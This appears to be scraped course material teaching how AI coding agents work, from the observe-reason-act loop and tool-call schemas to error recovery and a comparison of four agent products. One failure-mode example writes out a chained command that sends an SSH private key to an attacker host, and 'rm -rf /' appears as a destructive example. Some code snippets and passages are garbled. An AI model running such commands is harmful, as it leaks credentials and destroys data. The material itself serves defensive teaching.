An AI coding agent is a language model wired into a reasoning-action loop that lets it plan, write, execute, and iteratively fix code to complete a…
Trace the full observe→reason→act→observe cycle that defines an AI coding agent, using a concrete 'fix this failing test' scenario to show each turn. You leave able to describe what happens between the moment a task is submitted and the moment the agent decides to stop.
Traces the observe→reason→act→observe cycle that defines an AI coding agent turn.
Why this matters: Every AI coding agent — from a simple test-fixer to a full autonomous coder — runs this loop; understanding it lets you reason about why an agent succeeds, stalls, or goes wrong.
Your CI pipeline flagged three failing tests. A plain LLM call suggests a fix — but can't run tests, read output, and retry. An AI coding agent closes that gap.
An lets a model pursue multi-step goals by cycling through four phases: Observe → Reason → Act → Observe. Each turn: read state, decide action, act, read feedback, repeat.
Steps can't be fully scripted in advance. The model must decide next steps based on real environment feedback.
Each turn of the agent loop has four distinct phases, and knowing which phase you're in tells you what the agent is allowed to do.
The pattern formalised this as alternating Thought / Action / Observation blocks in the prompt — it's the same four phases made explicit.
Task submitted: "Fix the failing test in test_parser.py." Here is how one full agent loop plays out, turn by turn.
AssertionError: expected 'UTC' got 'utc'.read_file('parser.py').return tz_string with no .upper() call..upper() and re-run the test suite to confirm."write_patch(), then run_tests().All 12 tests passed. The agent's stop condition is met — it reports success and halts.Notice that the agent couldn't know it needed to read the file until it saw the error. The loop — not a pre-written script — is what made that adaptive step possible.
# Naive approach: ask the model once, apply the answer task = "Fix the failing test in test_parser.py" response = llm.complete(task) apply_patch(response.text) result = run_tests() print(result)
This is the obvious first attempt — one LLM call, one patch, done. Predict what result contains before revealing.
result = 'FAILED: 3 tests still failing — AssertionError: expected \'UTC\' got \'utc\' (test_parser.py:42)'
The patch ran, but the model had no way to read the actual source before guessing. It patched a plausible location, not the real one. There is no second chance — the loop ended after one turn, so the error is returned to the caller with no fix applied.
def run_agent(task, tools, max_turns=10): context = [task] for turn in range(max_turns): action = llm.decide(context) # Reason if action.type == "stop": return action.result obs = tools.call(action) # Act + Observe context.append(obs) # update context window return "max_turns reached"
This minimal loop adds the missing cycle: every tool result becomes a new observation appended to the . Predict the intermediate output after Turn 1 of the 'fix failing test' task.
context = [
"Fix the failing test in test_parser.py", # original task
"<contents of parser.py>" # observation from read_file
]
The model now has the actual source code in its working memory. On Turn 2 it can reason about the real bug — not a guess — and emit a targeted write_patch action.
def run_agent(task, tools, max_turns=10): context = [task] for turn in range(max_turns): action = llm.decide(context) if action.type == "stop": return action.result obs = tools.call(action) context.append(obs) # TODO: add a second stop condition here # Hint 1: check whether obs signals all tests passed # Hint 2: return a success message, not just action.result return "max_turns reached"
Stop — attempt the TODO before revealing. The crux: the agent must also halt when the environment confirms success, not only when the model decides to stop.
Without this second exit, the agent keeps looping even after all tests pass — burning tokens and risking an unnecessary second patch.
if "all" in obs.lower() and "passed" in obs.lower():
return f"Done in {turn+1} turns: {obs}"
--- What changed and why ---
Line 1 (CHANGED): inspects the observation string for a passing signal from the test runner — this is the environment-driven stop, distinct from the model's own 'stop' action.
Line 2 (CHANGED): returns a richer message that includes turn count and the final test output, giving the caller auditable evidence the task succeeded.
The key insight: a well-designed agent loop has TWO exit paths — the model says 'I'm done' AND the environment confirms success. Relying on only one is a common source of runaway loops.
Three failure patterns cause most real-world agent loop bugs — two are obvious, one is not.
Cause: model never emits stop and environment check is missing. Observable: max_turns reached every run, costs spike, task never completes.
Cause: every observation appends raw — a 10,000-line file fills in one turn. Observable: Error: maximum context length exceeded on Turn 2, or model silently truncates early turns and forgets the original task.
Cause: after several turns, model reasoning drifts toward a sub-goal it invented mid-loop. Observable: all tests pass, but agent deleted the test file. No error raised; damage is silent.
max_turns is set and enforced; (2) every tool result is summarised before appending, not dumped raw; (3) stop condition checks environment, not just model self-report; (4) run against a known task and confirm it halts correctly.You can now trace every agent loop turn and explain each phase. But the loop glosses over four concrete components: the that reasons, the that persists context, the that maps actions to functions, and the that safely runs code.
The next module maps all four components onto your loop using the same 'fix failing test' scenario. You'll see which component handles which phase.
Map the four core components — LLM backbone, memory store, tool registry, and code executor — onto the loop from Module 1, using the same 'fix this failing test' scenario. You leave with a component diagram you can sketch from memory and a clear sense of what each part owns.
Maps the four core components of an AI coding agent — LLM backbone, memory store, tool registry, and code executor — onto the agent loop, with each component's single responsibility defined.
Why this matters: Understanding these boundaries lets you debug, extend, or swap any part of an agent without breaking the rest — essential when building or evaluating an AI coding system.
The answer: it's an . The agent folds it back into context and reasons again. That's what makes the loop a loop.
Module 1 showed the loop's shape. This module asks: what are the actual moving parts inside that loop, and what does each one own? Naming them precisely lets you debug, extend, or swap a component without breaking the rest.
Every AI coding agent is built from four components, each with a single job. Mixing their responsibilities is the most common source of hard-to-debug failures.
The LLM never touches the file system or network directly — that's the executor's job. The tool registry never decides which tool to call — that's the LLM's job. Keeping these boundaries clean is what makes agents composable and testable.
Short-term memory is the — the live transcript of the current task: the original prompt, every tool call, and every observation so far. It's fast and always in scope, but it's finite and gone when the session ends.
Long-term memory is anything persisted outside the model: a vector store, a key-value cache, a database of past runs. The agent retrieves relevant chunks and injects them into the context window when they're needed. It matters when the agent must recall a project convention, a user preference, or a previous error fix across sessions.
Pick up the scenario from Module 1: the agent fixes a failing pytest test. Here's how each component fires on a single turn.
run_tests().run_tests exists and arguments match its schema, then hands the call to the executor.The LLM never ran pytest — it only decided to. The executor never decided — it only ran what it was told. That division of labour is the architecture's core invariant.
# Stage 1 — define each component's interface class LLMBackbone: def reason(self, context: list[dict]) -> dict: # returns {action, args} ... class MemoryStore: def recall(self, query: str) -> str: ... # long-term lookup def append(self, entry: dict): ... # short-term update class ToolRegistry: def get_schema(self, name: str) -> dict: ... def validate(self, name: str, args: dict) -> bool: ... class CodeExecutor: def run(self, tool_name: str, args: dict) -> str: ... # returns observation
Each class owns exactly one responsibility — reasoning, memory, cataloguing, or running. At this stage the bodies are stubs; the next stage wires them into the loop.
It returns None (the implicit return of an empty function body). That's correct for a stub: it signals 'not yet implemented' without raising an error, so you can wire the loop first and fill in each component independently.
def agent_turn(llm, memory, registry, executor, task: str) -> str: context = [{"role": "user", "content": task}] past = memory.recall(task) # inject long-term memory if past: context.insert(0, {"role": "system", "content": past}) action = llm.reason(context) # LLM decides what to do assert registry.validate(action["name"], action["args"]) observation = executor.run(action["name"], action["args"]) memory.append({"action": action, "result": observation}) return observation # fed back as next input
This is one full turn of the loop: recall → reason → validate → execute → remember. The assert on line 8 is the registry's boundary check — if the LLM hallucinates a tool name, the loop fails fast here rather than silently corrupting state.
The assert raises an AssertionError immediately. That's intentional: it surfaces a hallucinated tool call at the boundary rather than letting the executor try to run something undefined. The next hardening step is replacing the assert with a try/except that feeds the error back as an observation, so the LLM can self-correct.
def agent_turn_v2(llm, memory, registry, executor, task: str) -> str: context = [{"role": "user", "content": task}] past = memory.recall(task) if past: context.insert(0, {"role": "system", "content": past}) action = llm.reason(context) if not registry.validate(action["name"], action["args"]): # TODO: build an error observation and return it so the LLM can retry ... observation = executor.run(action["name"], action["args"]) memory.append({"action": action, "result": observation}) return observation
Stop — attempt the TODO before revealing the answer. The missing piece is the crux of this module: what should the agent do when the LLM calls a tool that doesn't exist?
Hint 1: the executor never runs — so the observation must come from somewhere else. Hint 2: the LLM can only self-correct if the error lands back in its context window.
observation = f"Error: tool '{action['name']}' not found in registry. Available tools: {list(registry.tools.keys())}"
return observation
--- What changed and why ---
Instead of crashing, you construct an error string that names the bad tool and lists valid alternatives, then return it as the observation. On the next turn, the LLM reads this error in its context window and picks a real tool. This is the self-correction pattern: the registry boundary becomes a feedback signal, not a hard stop.
KeyError: 'write_file' or silent no-op if the registry returns None. The LLM invents a plausible-sounding tool that isn't registered. Always validate at the registry boundary and return the error as an observation.subprocess.run, the boundary is broken.executor.run().With the four components mapped and their failure modes named, you're ready for the next question: once the LLM decides to write code, how does it think through the problem? Module 3 steps inside that reasoning step — chain-of-thought prompting, task decomposition, and self-critique — to show what happens between 'decide to act' and 'emit a diff'.
Step through how an AI coding agent uses chain-of-thought prompting to decompose a task, draft code, and self-critique before executing — still using the 'fix this failing test' scenario, now showing the model's internal reasoning trace. You leave able to read a reasoning trace and spot where planning ends and code emission begins.
How an AI coding agent uses chain-of-thought prompting to plan, draft, and self-critique before writing code.
Why this matters: Understanding the reasoning trace lets you diagnose why generated code is wrong and prompt the agent to produce better fixes — directly useful when building an AI-assisted SEO page generator.
Your agent just received a task: "fix this failing test." Before it writes a single line, it needs a plan — otherwise it's guessing.
prompting forces the model to reason step-by-step in its output before committing to code. The model externalises its thinking as text, which makes the reasoning inspectable and correctable. A weak plan produces weak code; a precise plan produces code that targets the actual bug.
CoT works because the next-token prediction loop (see Module 1) means the model's own prior tokens become context for every subsequent token. Writing out a plan literally conditions the code that follows it.
The reasoning trace has three recognisable phases: plan (decompose the task), draft (emit code), and critique (self-check before executing). Knowing where one ends and the next begins lets you catch failures early.
Here is the actual reasoning trace the agent produces for the 'fix this failing test' task. Read it as three labelled phases.
"The test calls calculate_discount(price, pct) with price=100, pct=0.2 and expects 80.0. The function currently returns price - pct instead of price * (1 - pct). I need to fix the arithmetic on line 4."
"Here is the corrected function:"
def calculate_discount(price, pct): return price * (1 - pct)
"Check: 100 * (1 - 0.2) = 80.0 — matches the expected value. Edge case: pct=1.0 returns 0.0, which is correct. pct > 1 would return a negative price — the test suite doesn't cover that, so I'll note it but not block on it. Ready to emit."
# Prompt sent to the model — no reasoning instruction prompt = ( "Fix this function so the test passes:\n" "def calculate_discount(price, pct):\n" " return price - pct\n" "Test: assert calculate_discount(100, 0.2) == 80.0" ) response = model.complete(prompt) print(response.text)
This sends the task directly with no instruction to reason first. Predict what the model returns before revealing.
The model often returns return price - pct price or return price pct — a plausible-looking fix that fails the test (returns 80.0 only by accident, or returns 20.0). Without a reasoning step, the model pattern-matches to a nearby formula rather than diagnosing the actual arithmetic error. This is a hallucination of correctness: the code looks right but isn't verified.
# Delta: prepend a reasoning instruction to the same prompt prompt = ( "Think step by step before writing any code.\n" "Fix this function so the test passes:\n" "def calculate_discount(price, pct):\n" " return price - pct\n" "Test: assert calculate_discount(100, 0.2) == 80.0" ) response = model.complete(prompt) print(response.text)
One line added: "Think step by step before writing any code." That instruction shifts the model into plan→draft→critique mode. Predict the output structure before revealing.
The model now emits a reasoning block first: it identifies the wrong expression (price - pct), states the correct formula (price (1 - pct)), and verifies with the test values before writing the function. The final code is return price (1 - pct) — correct on the first attempt. The reasoning trace is the delta that made the difference.
# Fix failing test: assert format_username(' Alice ') == 'alice' prompt = ( "Think step by step before writing any code.\n" "Fix this function so the test passes:\n" "def format_username(name):\n" " return name.lower()\n" "Test: assert format_username(' Alice ') == 'alice'" ) # PLAN: input has leading/trailing spaces. .lower() runs but .strip() is missing. # I need to call name.strip() before .lower(). # DRAFT: # return name.strip().lower() # ★ CHANGED: .strip() removes whitespace first # CRITIQUE: ' Alice '.strip().lower() → 'alice' ✓
The plan phase is partially written. Supply the missing method call in the PLAN line and the corrected return statement in the DRAFT line — this is the crux of the CoT pattern.
PLAN blank: name.strip() — the plan must name the exact method, not just 'remove spaces'. DRAFT (changed lines): return name.strip().lower(). Why it changed: .strip() removes leading/trailing whitespace before .lower() lowercases. CRITIQUE confirms: ' Alice '.strip().lower() → 'alice' ✓. The key lesson: the plan named the exact missing call, which made the draft a direct translation — not a guess.
Chain-of-thought reasoning fails in three distinct ways.
Each failure has a different observable symptom.
pct=0 or an empty string. Check whether the critique phase explicitly names at least one boundary value.You can now read a reasoning trace and identify where planning ends and code emission begins.
The next question is: what happens after the agent emits that code?
Module 4 — Tool Use and Code Execution — shows how the agent hands drafted code to the executor. It uses a structured schema. The code runs inside a . The result feeds back as an into the next loop turn. The reasoning trace you just learned to read is the input to that execution step.
Examine how AI coding agents call tools — file read/write, shell commands, search, test runners — via a structured tool-call schema, execute code in a sandboxed environment, and feed the stdout/stderr back as the next observation. The running scenario advances: the agent now runs the fixed test and reads the result. You leave able to trace a tool-call round-trip from schema to observation.
How AI coding agents invoke tools via a structured schema, execute code in a sandbox, and feed the output back as the next observation.
Why this matters: Every action your agent takes — reading a file, running a test, searching the web — flows through this tool-call mechanism; understanding it lets you debug, extend, and secure your agent's behavior.
Decision this forces: Sandboxed vs. local execution: when the isolation cost is worth it
Answer: the trace ended with a concrete action plan. The agent had reasoned about what to do but hadn't executed any code yet.
That gap — between a plan and execution — is what tool calls close.
can't execute code directly. It emits a structured message: a .
Every tool call has three fields: name (which tool), arguments (JSON matching the schema), and id (to thread the observation back).
holds the schema for every available tool. The model sees these schemas at inference time.
run_shell — execute a shell command; returns stdout, stderr, exit coderead_file — read a file; returns its textwrite_file — write content to a path; returns success or errorweb_search — query a search engine; returns ranked snippetsContinuing the running scenario: the agent has patched utils.py and now needs to verify the fix by running the test suite. Here is the full round-trip.
run_shell, arguments = {"command": "pytest tests/test_utils.py -v"}The observation is not a side-channel — it is a first-class message in the conversation history. The model's next reasoning step is conditioned on it exactly like any other text.
# The agent's outgoing tool-call message tool_call = { "id": "call_01", "name": "run_shell", "arguments": {"command": "pytest tests/test_utils.py -v"} } # The executor returns this observation observation = { "tool_call_id": "call_01", "stdout": "PASSED tests/test_utils.py::test_divide [100%]", "stderr": "", "exit_code": 0 }
tool_call_id field is what threads the observation back to the exact call that triggered it — critical when multiple tools run in parallel.
exit_code 0 and a PASSED line mean the fix worked. The agent concludes the task is complete and should emit a final answer message rather than another tool call. No further tool invocation is needed.
so bad plans, malicious results, or compromised dependencies cannot leak secrets or mutate production data.
The cost is real: spinning up a container adds latency (200 ms–2 s per call) and operational complexity.
Local execution is faster, but runs with full host permissions. A command like rm -rf / becomes a real incident, not a contained failure.
The model emits an argument name that doesn't match the schema — e.g. "cmd" instead of "command". The orchestrator rejects it: "error": "Unknown argument 'cmd'". Fix: keep schema names short and unambiguous.
The model invents a tool not in the registry — e.g. run_pytest when only run_shell exists. The call is dropped or returns "error": "Tool not found". Fix: list available tool names explicitly in the system prompt.
A model-generated command embeds a subshell: pytest tests/ && curl http://attacker.io/$(cat ~/.ssh/id_rsa). Without a sandbox, this exfiltrates secrets silently. Fix: run shell commands in a network-isolated container and reject commands with &&, |, or $(.
# Agent must READ utils.py before deciding if a second edit is needed. # Stage 1 — agent reads the file (COMPLETE THIS CALL) tool_call = { "id": "call_02", "name": "read_file", "arguments": { "path": "src/utils.py" } # ← TODO filled in } # Stage 2 — executor returns the observation observation = { "tool_call_id": "call_02", # threads back to Stage 1 id "content": "def divide(a, b):\n if b == 0: raise ValueError(...)\n return a / b", "exit_code": 0 }
This completion task exercises the core skill of this module: mapping a subtask ("read the file") to the right tool and supplying arguments that match the schema exactly. The observation structure mirrors Stage 1 — same id threading, same exit_code convention.
Once the agent can read the file content and run the test, it has everything it needs to detect a runtime error — which is exactly what Module 5 builds on: how the agent parses a traceback and re-enters the loop with a revised plan.
{ "path": "src/utils.py" }
Changed line: the arguments object needs exactly one key — "path" — matching the read_file schema. Using "file", "filename", or "filepath" would trigger a schema-mismatch error (failure mode #1). The observation then returns the file's text content under "content", which the agent reads on its next turn to decide whether a second edit is needed.
Analyze how AI coding agents detect runtime errors, parse tracebacks, reflect on root cause, and re-enter the loop with a revised plan — revisiting the agent loop from Module 1 under failure conditions. The scenario reaches its hardest turn: the test still fails after the first fix. You leave able to spot the three most common failure modes and describe the self-correction strategy for each.
How AI coding agents detect errors, reflect on root cause, and decide whether to retry or escalate to a human.
Why this matters: Your SEO page generator agent will hit runtime errors; knowing when to let it self-correct versus when to step in saves time and prevents silent regressions.
Decision this forces: Automated retry vs. human-in-the-loop escalation: the threshold decision
Module 4 showed that the captures stdout, stderr, and exit code. It packages them as an that re-enters the .
When code succeeds, the observation signals progress. The loop moves toward completion. When it fails, the traceback is the observation. The loop must reason about what went wrong before acting again.
This module examines the failure path: how the agent parses the traceback, reflects on root cause, and decides whether to retry or escalate.
AI coding agents break in three characteristic ways, each with a distinct symptom you can spot before wasting more tokens.
AttributeError: module 'X' has no attribute 'Y' or ModuleNotFoundError on the very first run — the code was never valid.Each failure mode calls for a different response — and recognising which one you're in is the first step of the self-correction strategy.
The running scenario: the agent is fixing a failing test for an SEO page generator. It wrote a first patch, the test runner returned a traceback, and now the test still fails after that fix. Here is how the loop processes that second failure.
TypeError: generate_slug() takes 1 positional argument but 2 were given. This raw string is appended to the context as the new observation.The key insight: the traceback is not a dead end — it is structured data. The error class, the file path, and the line number each narrow the search space for the next action.
def agent_loop(task, max_turns=10): context = [task] for turn in range(max_turns): action = llm_reason(context) # reason over full context result = executor_run(action.code) # run the code context.append(result.stderr) # append raw traceback if result.exit_code == 0: return action.code # success return "FAILED: max turns reached"
This loop appends every traceback to context and retries — no reflection, no change detection. It will hit max_turns and return a failure string if the first fix was wrong.
The same TypeError traceback is appended on every turn. By turn 5 the context holds the original task plus five copies of the same error string. The LLM sees no new signal, so it is likely to produce the same (wrong) fix repeatedly — a textbook infinite-retry failure. The loop exits at turn 10 with 'FAILED: max turns reached'.
def agent_loop_with_reflection(task, max_turns=10): context = [task] last_error = None for turn in range(max_turns): action = llm_reason(context) result = executor_run(action.code) if result.exit_code == 0: return action.code if result.stderr == last_error: # same error → escalate return escalate_to_human(context, result.stderr) last_error = result.stderr reflection = llm_reflect(result.stderr) # parse root cause context.append(reflection) # structured insight, not raw tb return escalate_to_human(context, last_error)
Two changes from Stage 1: a same-error guard triggers human escalation instead of looping, and llm_reflect() converts the raw traceback into a structured root-cause note before appending it — keeping the context window lean.
The step is what separates a self-correcting agent from a dumb retry loop.
Turn 1: last_error starts as None; after the run, last_error = TypeError traceback. Turn 2: result.stderr is the KeyError traceback — it does NOT equal last_error (TypeError), so the guard does NOT fire. last_error is updated to the KeyError traceback, and llm_reflect() processes the new error. Turn 3 begins with the KeyError reflection in context. Changed lines vs Stage 1: added last_error tracking (lines 3, 8-9, 10) and the llm_reflect() call (line 11) — these are the crux of self-correction.
The self-correction pattern you built — observe traceback, reflect on root cause, guard against infinite retry, escalate when stuck — runs inside every production AI coding agent.
What differs is how each system implements three moving parts: reflection, escalation threshold, and context management. GitHub Copilot, Devin, smolagents CodeAgent, and OpenAI Agents SDK each make different architectural choices.
The next module puts those four systems side by side across five architectural dimensions. You can then evaluate a real agent, not just a toy loop.
Before trusting a patch the agent claims fixed the test, run these four checks.
import or attribute access that wasn't in the original file; verify each one exists in the installed environment.These checks take under two minutes and catch the majority of silent failures before they reach production.
Compare four concrete AI coding agents — GitHub Copilot, Devin, smolagents CodeAgent, and the OpenAI Agents SDK — across the five architectural dimensions established in Modules 1–5: loop design, memory, tool set, executor, and error strategy. You leave with a one-row-per-system comparison you can quote directly in an SEO explainer page.
A side-by-side architectural comparison of GitHub Copilot, Devin, smolagents CodeAgent, and the OpenAI Agents SDK across the five dimensions built up in Modules 1–5.
Why this matters: Gives you a concrete, quotable reference you can use directly in an SEO explainer page and a decision framework for recommending the right agent for a given use case.
Decision this forces: Which AI coding agent fits a given use case: inline assistant vs. autonomous task agent vs. programmable SDK
Module 5 showed that a well-designed agent parses the as a new . Then it uses to diagnose root cause before writing a revised plan.
That two-step — parse then reflect — is the error strategy dimension you'll use to compare real systems in this module.
Now the question is: how do GitHub Copilot, Devin, smolagents, and the OpenAI Agents SDK each implement the five dimensions you've mapped across Modules 1–5?
Four AI coding agents dominate current production use, and each sits at a different point on the autonomy spectrum.
The five dimensions from earlier modules — loop design, memory, tool set, executor, and error strategy — give you a consistent lens to compare them.
Imagine you hand smolagents CodeAgent the failing-test task from Module 1: 'test_add fails with AssertionError: 3 != 4'.
read_file('math_utils.py') to inspect the source.write_file(...) — no JSON tool schema needed.pytest test_math.py. The green output ends the loop.Key difference from a JSON-tool agent: the model's reasoning and tool calls live in the same Python code block. Intermediate results are just variables — no round-trip serialisation.
This makes smolagents CodeAgent compact and debuggable. But the executor must be trusted to run arbitrary model-generated code.
# Stage 1 (worked): a minimal OpenAI Agents SDK agent agent = Agent( name="CodeReviewer", instructions="You review Python code and suggest fixes.", tools=[run_tests], # run_tests is a @tool-decorated function ) result = Runner.run_sync(agent, "Fix the failing test in math_utils.py") print(result.final_output)
This fragment shows the minimum shape of an OpenAI Agents SDK agent: one Agent object, one tool, one synchronous run.
The SDK's Runner owns the loop — your code just defines the agent and starts the run.
Changed/added lines:
code_fixer = Agent(
name="CodeFixer",
instructions="You apply the fix suggested by CodeReviewer.",
)
agent = Agent(
name="CodeReviewer",
instructions="You review Python code and suggest fixes.",
tools=[run_tests],
handoffs=[code_fixer], # <-- NEW: delegates to CodeFixer when a fix is needed
)
Why it changed: handoffs= is the SDK primitive that lets one agent transfer control to another. CodeFixer must be defined first so CodeReviewer can reference it. Everything else stays the same.
| Option | Loop design | Default tool set | Execution environment | When to choose | Cost | Complexity |
|---|---|---|---|---|---|---|
| GitHub Copilot | Single-turn or short chat; no persistent ReAct loop. | Code completion, inline chat, PR summaries. | IDE process only; no sandboxed executor. | Inline suggestions and chat while you write code; no autonomous task execution needed. | Subscription ($10–$19/mo); no per-token billing for the loop. | Zero setup — ships inside VS Code / JetBrains. |
| Devin | Full autonomous ReAct loop; plans, acts, reflects over many turns. | Browser, shell, file editor, test runner — all built in. | Managed cloud sandbox; isolated per session. | Long-horizon tasks — full feature branches, bug hunts, or repo-wide refactors — where you want a fully autonomous agent. | Usage-based SaaS pricing; higher per-task cost. | SaaS; no infra to manage, but limited customisation. |
| smolagents CodeAgent | CodeAgent loop: model writes Python snippets; results feed back as observations. | Python execution, web search, Hub tools; fully extensible. | Local Python or sandboxed container; your choice. | Research, custom pipelines, or any project where you want full control over the model and tool logic in Python. | Open-source; pay only for the model inference you choose. | Low library surface; requires Python setup and model config. |
| OpenAI Agents SDK | Your code drives the loop; SDK provides primitives for runs, sessions, and handoffs. | Function tools, code interpreter, file search, handoffs to sub-agents. | Sandboxed code interpreter (cloud) or local; tracing built in. | Production multi-agent systems where you need handoffs, guardrails, tracing, and your code owns the orchestration logic. | Open-source; pay for OpenAI model tokens per run. | Moderate; requires structuring agents, tools, and handoff rules. |
Copilot suggests requests.get(..., timeout_ms=5000) — a parameter that doesn't exist. The error you see: TypeError: get() got an unexpected keyword argument 'timeout_ms'. Fix: always run the suggestion before committing; check the library's actual signature.
After 30+ turns, Devin's context window fills and early requirements drop out of working memory.
The symptom: the final PR passes tests but ignores a constraint you stated in the first message.
Fix: break long tasks into checkpointed sub-tasks; re-state key constraints in each handoff message.
Because smolagents CodeAgent executes arbitrary Python, a prompt-injected task can run os.system('rm -rf /') locally. Always use the sandboxed executor option in production — never the local executor on untrusted input.
Two agents can hand off to each other indefinitely if their instructions overlap.
Observable symptom: the run never emits a final_output and token usage climbs until the run limit is hit. Fix: add a max_turns guard and make handoff conditions mutually exclusive.
An SEO answer capsule needs one sentence per system. Name the entity, state a concrete architectural fact, and imply when to use it.
Here is the template and a worked example for each system.
Each sentence is self-contained. A cold reader from search gets the entity name, architectural differentiator, and use case in one breath.
You now have the full architecture map — loop, memory, tools, executor, error strategy — and four real systems placed on it. The capstone challenge asks you to pick one system for a novel use case. Justify it across all five dimensions. Draft the answer capsule: that's the solo task waiting for you next.
When an AI tool generates agent wiring code for you, check these four things before trusting it.
gpt-5-turbo). Cross-check against the provider's current model list.Before reading the summary: sketch from memory the five-component architecture (loop phases, LLM, memory, tool registry, executor), then name one failure mode and the self-correction strategy that closes it. Compare your sketch to the spine — where did you fill in detail vs. leave a gap?
Apply what you learned to SEO/GEO page — the page title is the H1 and the exact search query. OPEN with a 40-60 word self-contained, quotable answer capsule that names the entity explicitly in sentence one (no "in this lesson…" preamble) — this is the sentence an LLM lifts. Name the entity by its full name every time (not pronoun-only). Structure each section as ONE sub-question (How it works · X vs Y · When to use it · Example · Common mistakes), each opening with its own 1-2 sentence direct answer then depth. End with a genuine 3-5 question FAQ phrased as real user questions ending in "?" (these become FAQPage schema + the knowledge check). Prefer quotable specifics — concrete numbers, defaults, version names, one short snippet — over vague prose. Self-contained for a reader who arrived cold from a search engine or an LLM. Intent = explainer: mechanism + example + when-to-use. Target query: "ai coding agents"..
Before looking at the options, recall the agent loop from memory: what is the correct order for one useful AI coding agent turn when the task cannot be fully scripted in advance?
The correct loop is observe, reason, act, observe because the agent needs fresh feedback after each tool call or edit. Acting first skips the evidence-gathering step, one-shot reasoning cannot adapt to unknown failures, and avoiding tools prevents the agent from verifying real project state.
An AI coding agent keeps a long error log from previous runs in a database, passes the current file contents into the model prompt, and exposes run_tests as an available command. Which mapping is most accurate?
The database log persists across turns or sessions, the current file contents are temporary context supplied to the model, and run_tests is a callable tool description. The other options confuse storage with execution, treat a tool as the model itself, or collapse separate architecture components into the LLM.
Read this tiny tool-call sequence:
agent.tool('edit_file', {'path':'app.py','patch':'use client.users.list()'})
observation = 'Traceback: AttributeError: client.users has no attribute list'
What should a trustworthy coding agent do next?
A traceback is feedback from the environment, so the agent should use it to revise its reasoning and verify the actual API before another edit. Repeating the same call risks an infinite retry, ignoring the error trusts speculation over evidence, and invoking a tool is not the same as producing working code.
When is sandboxed execution worth the extra setup cost over running an AI coding agent directly on your local machine?
Sandboxing is worth it when isolation reduces damage from unsafe code, dependency changes, file writes, network calls, or secret exposure. Small projects do not automatically need a sandbox, personal credentials are a reason to avoid local execution, and waiting for damage defeats the point of isolation.
A product team wants inline help while developers type in an IDE, a QA team wants an autonomous agent to take a bug ticket and attempt a fix, and a platform team wants to build a custom agent with its own tools. Name a fitting system for each use case from GitHub Copilot, Devin, smolagents, and the OpenAI Agents SDK.
The key distinction is inline assistant versus autonomous task agent versus programmable SDK or framework. GitHub Copilot fits IDE completion and chat, Devin fits delegated multi-step software tasks, and the OpenAI Agents SDK or smolagents fits building a custom agent; swapping Copilot and Devin confuses assistant style with autonomy, while using an SDK as an out-of-the-box ticket-solving worker misses its builder role.